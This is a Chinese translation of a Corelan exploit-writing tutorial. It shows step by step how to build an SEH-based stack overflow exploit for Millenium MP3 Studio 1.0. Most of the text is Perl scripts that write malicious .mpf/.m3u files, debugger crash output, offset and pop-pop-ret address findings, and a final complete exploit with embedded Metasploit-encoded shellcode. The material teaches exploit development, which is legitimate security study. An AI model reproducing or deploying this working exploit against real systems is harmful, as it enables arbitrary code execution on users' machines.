# Exploit 编写教程第三篇 b：基于 SEH 的 Exploit-又一个实例

**原：Peter Van Eeckhoutte 2009-7-28**
**译：看雪论坛-moonife-2009-11-29**

在上一篇教程中，我已经讲述了基于 SEH 的 Exploit。我提到在最简单的基于 SEH exploit 的情形中，payload 的构造如下所示：

```
[Junk][next SEH][SEH][Shellcode]
```

我已经展示了用指向pop pop ret指令串的指针覆盖SE Hanler域和用跳过6 bytes的jumpcode覆盖next SEH域来跳过SE Handler...当然，这样的构造是基于多数SEH based 漏洞的特征以及存在于Easy RMto MP3 Player（这里作者笔误，应该是上一篇中的soritong MP3 Player）上漏洞的特殊性。因此它只是一个基于SEH类型漏洞下的例子。你确实需要用断点等来查看所有寄存器，去找到你payload/shellcode所在的位置...根据栈来构造你的payload...只要想到！

有时候你会很幸运，轻松加愉快的就写出了payload。有时候你会很不走运，但你依然可以在有难度的漏洞利用中写出跨平台的稳定Exploit。有时候你必须要硬编码一个地址，因为没有其他可行方法了。无论是那种方法，大多数的Exploit都不尽相同。在特殊的漏洞利用中为了找到有效的方法都得手工去完成。

在今天的教程中，我们用Millenium MP3 Studio 1.0上挖掘出来的漏洞来编写基于它的Exploit。这个漏洞发布于：http://www.milw0rm.com/exploits/9277.
你可以在这里下载Millenium MP3 Studio：
从POC中可以看出这个漏洞是容易被利用的(很可能是基于寄存器的值)...可惜的是它并没有如作者（发现这个漏洞和写出POC代码的人）所希望的那样进行利用。

```
#!/usr/bin/perl
# Found By :: HACK4LOVE
# MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC
##http://www.software112.com/products/mp3-millennium+download.html
################################################################################
##Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
################################################################################
##EAX 00000000
##ECX 41414141
##EDX 7C9037D8 ntdll.7C9037D8
##EBX 00000000
##ESP 00134970
##EBP 00134990
##ESI 00000000
##EDI 00000000
##EIP 41414141
################################################################################
## it so easy exploit but it did not work for me i hope some one exploit it######
################################################################################
my $crash="http://"."\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
################################################################################

# milw0rm.com [2009-07-27]
```

如“Hack4love”贴图中的那样是基于寄存器的值，因此我们可以认为这是一个典型的栈溢

出，其中 EIP 被缓冲区的垃圾数据覆盖...你还需要找到缓冲区的偏移，找到一个寄存器指向你的 payload，用“jump to...”地址覆盖 EIP，是这样吗？额....不完全正确。

我们来看下。创建一个用“http://”+5000 A’填充的文件...当你用 windbg 运行程序并打开这个文件，你看到了什么？我们先来创建一个 mpf 文件：

```
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+]     " . length($payload)." bytes\n";
```

接着用 windbg 运行程序并打开这个文件：

```
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=41414141 esi=0012e990 edi=00faa68c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206*** WARNING: Unable              to verify checksum    for image
00400000***    ERROR:                        Module load completed but
symbols could  not be loaded                 for image
00400000image00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8]
ds:0023:41414139=????????
Missing image name, possible paged-out or corrupt data.
```

不错，非法访问...但是各寄存器中的值和上面 POC 中贴出的寄存器值大不一样。所以缓冲区的长度也是错误的（引发一个典型覆盖 EIP 的栈溢出），或者这是个基于 SEH 的问题。看下 SEH 链发现：

```
0:000> !exchain0012f9a0:

<Unloaded_ud.drv>+41414140 (41414141)

Invalid exception stack at 41414141
```

啊，好。Next SEH 和 SE Handler 两个都被覆盖，因此这是个基于 SEH 的 Exploit 了。

为了了找出next SEH和SE Handler的偏移，我们用metasploit pattern构造另一个含5000个字符的文件：

现在SEH 链如下所示：

```
0:000> !exchain0012f9a0:
<Unloaded_ud.drv>+30684638 (30684639)
Invalid exception stack at 67463867
```

所以SE Handler被0x39466830（记住：小端字节序）覆盖，next SEH被0x67384667覆

- SE Handler : 0x39466830 = 9Fh0 (偏移为 4109)
- next SEH : 0x67384667 = g8Fg (偏移为 4105)

现在，在一个典型的SEH Exploit情形下，你要编写的payload如下所示：

-先是4105个垃圾字符（去掉讨厌的字符如http：后面的两个的反斜杠用A替代）
-用jumpcode（0xeb,0x06,0x90,0x90）覆盖next SEH，跳过SE Handler到shellcode开始的地方
-用指向pop pop ret指令串的地址覆盖SE Handler
-接着放上你的shellcode（两头加一些NOP是必要的），如果需要在附加上其他的数据

我们先在perl脚本中依然用特别的内容来验证关键域的偏移量：

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
```

```
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+]     " . length($payload)."
```

Crash :

```
(ac0.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0012fba4 ebx=0012fba4 ecx=00000000 edx=44444444 esi=0012eb7c edi=00fb1c84
eip=00403734 esp=0012eb68 ebp=0012fbac iopl=0
nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206*** WARNING: Unable to verify checksum for image
00400000*** ERROR:  Module load completed but symbols could not be loaded for
image00400000image

00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8]

ds:0023:4444443c=????????

Missing image name, possible paged-out or corrupt data.0:000>

!exchain0012fb8c:
<Unloaded ud.drv>+43434342 (43434343)
Invalid exception stack at 42424242
```

我们看到SE Handler被43434343（CCCC）覆盖，next SEH被42424242（BBBB）覆盖。现在替换SE Handler为指向pop pop ret的指针和Next SEH替换为断点（还不是jumpcode，我们只是想定位payload）

查看已加载的模块列表并从某一模块找到pop pop ret指令串（你可以先用Ollydbg的插件“SafeSEH”查看这些模块是否是用safeSEH编译的）

xaudio.dll这个程序自带的DLL中有pop pop ret指令串，位于地址0x1002083D处：

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #breakpoint, sploit should stop here
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+]  " . length($payload)." bytes\n";
```

在第一次非法访问时，我们把异常传给程序处理。然后pop pop ret将被执行并在“Next SEH“处被我们的置的断点处中断。

现在我们的Payload在哪里呢？它应该是在很多字母D出现的地方....但也可以是字母A出现的地方（在缓冲区开始的位置-让我们找出它）

如果payload位于SE Handler后，(程序在我们置的断点处中断)，那么EIP就应该指向Next SEH域的第一个字节，我们dump一下EIP就应该出来next SEH，接着SE Hanlder，跟着的就是我们的shellcode的视图了：

```
0:000> d eip
0012f9a0 cc cc cc cc 3d 08 02 10-44 44 44 44 44 44 44 44  ....=...DDDDDDDD
0012f9b0 44 44 44 44 44 44 44 44-00 00 00 00 44 44 44 44  DDDDDDDD....DDDD
0012f9c0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012f9d0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012f9e0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012f9f0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012fa00 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012fa10 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
```

好的，看起来是成功了，然而我们看到大约在32 bytes后出现了一些NULL bytes（已用蓝色标出）...

有两个解决办法：一是用next SEH域中的4 bytes代码跳过SE Handler，接着用16 bytes跳过

NULL Bytes，二是直接在next SEH中跳到shellcode。

首先，让我们确定shellcode的起点(通过用一些容易辨别的数据代替开始的一部分字母D)

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+]     " . length($payload)." bytes\n";
```

```
(b60.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9a0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f99f:
0012f9a0 cc      int 3
0:000> d eip
0012f9a0 cc cc cc cc 3d 08 02 10-41 31 32 33 34 35 36 37 ....=...A1234567
0012f9b0 38 39 42 31 32 33 34 35-00 00 00 00 43 31 32 33 89B12345....C123
0012f9c0 34 35 36 37 38 39 44 31-32 33 34 35 36 37 38 39 456789D123456789
0012f9d0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012f9e0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012f9f0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012fa00 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012fa10 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
```

OK，我们想要跳过这个NULL的话，可以在shellcode的开头加4个nop（我们可以把真正的shellcode放到0012f9c0处....所以在shellcode前面总共需放上24个nop）,那么需要跳过30 bytes（在next SEH域中：0xeb,0x1e），我们这样来做：

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+]     " . length($payload)." bytes\n";
```

打开这个mpf文件，把异常传给程序，会在0x0012f9c0处被中断：

```
 (1a4.9d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=90909090 esi=0012e990 edi=00fabf9c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010286*** WARNING: Unable to verify checksum for image
00400000*** ERROR:   Module load completed but symbols could not be loaded for
image
00400000image00400000+0x3734:
00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:90909088=????????
Missing image name, possible paged-out or corrupt data.

0:000> g
(1a4.9d4):     Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9c0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f9bf:
0012f9c0 cc      int 3
```

OK，现在把断点替换成真正的shellcode来最终完成这个脚本：

```
# [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download :
http://www.software112.com/products/mp3-millennium+download.html
# [+] Method : seh
# [+] Tested on : Windows XP SP3 En
# [+] Written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to : Saumil & SK
```

```
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277
#
-------------------------------------------------------------------------------
-
# MMMMM~.
# MMMMM?.
# MMMMMM8. .=MMMMMMM.. MMMMMMMM, MMMMMMM8. MMMMM?. MMMMMMM: MMMMMMMMMM.
# MMMMMMMMMM=.MMMMMMMMMM.MMMMMMMM=MMMMMMMMM=.MMMMM?7MMMMMMMMM: MMMMMMMMMM:
#
MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
# MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
# MMMMM=. MMMMM=MMMMM=MMMMM7. 8MMMMM? . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
# MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
# =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMIMMMMM+MMMMM:
# .:$MMMMMO7:..+OMMMMMO$=.MMMMM7. ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
# .,,,,. .,,,,. .,,,,, ..,,,,. .,,,,,. .,,,..,,,. .,,,,,,,,,,.
# eip hunters
#
-------------------------------------------------------------------------------
-
#
# Script provided for educational purposes only.
#
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D); #pop pop ret from xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+]     " . length($payload)." bytes\n";
```

哦也 ！(把这个放到 milw0rm 上面☺): http://www.milw0rm.com/exploits/9298

你可以在这里找到我放到milw0rm网站上的全部exploit的列表：
http://www.milw0rm.com/author/2052

**练习**

现在我给你留一个小练习：试着写一个m3u文件类型的可用Exploit，看下你能找到一个覆盖EIP（而不是SEH）的方法吗？

提示：shellcode不是必须要放到nSEH/SEH后...还可以把它放到payload缓冲区的第一部分，而且有时候你还得：

--在一小块缓冲区写进一些jumpcode，它跳到你真正的shellcode。

--硬编码一个地址（如果没其他办法了）

M3u文件下的基于SEH的Exploit几乎和mpf版本是一样的，所以我不在这里讨论这个了。
如果你想就这个练习进行讨论，登陆/注册下面的论坛：
http://www.corelan.be:8800/index.php/forum/writing-exploits/
（我可能就会在几天后把解决办法贴到这个论坛上面了）
请继续关注更多信息：Exploit编写中的tips&tricks.....